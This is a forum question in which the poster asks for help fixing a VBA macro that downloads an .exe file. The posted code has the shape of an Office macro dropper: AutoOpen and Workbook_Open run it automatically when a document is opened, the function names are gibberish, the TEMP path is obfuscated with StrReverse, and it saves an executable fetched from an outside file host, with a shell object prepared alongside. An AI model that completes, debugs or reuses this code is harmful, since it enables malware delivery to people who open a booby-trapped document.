How to download binary off internet using VB script?

See more:

VBScript

Hello, please i am having difficulty in downloading a binary off the internet.
i have this working code for downloading but if i check the binary that is downloaded, the size is quite different from the original and also it won't run because it is corrupt. please, help me because i am not good at scripting. just copied and edit code.

What I have tried:

<pre>Sub ertrettggdfg()
    sdfertunn
End Sub

Sub AutoOpen()
    ertrettggdfg
End Sub

Sub Workbook_Open()
    ertrettggdfg
End Sub

Sub sdfertunn()
Dim http_obj
Dim stream_obj
Dim shell_obj

Set http_obj = CreateObject("Microsoft.XMLHTTP")
Set stream_obj = CreateObject("ADODB.Stream")
Set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mediafire.com/file/file.exe" 'Where to download the file from
FileName = Environ(StrReverse("PMET")) & "/file.exe" 'Name to save the file (on the local system)

http_obj.Open "GET", URL, False
http_obj.send

stream_obj.Type = 1
stream_obj.Open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FileName, 2
End Sub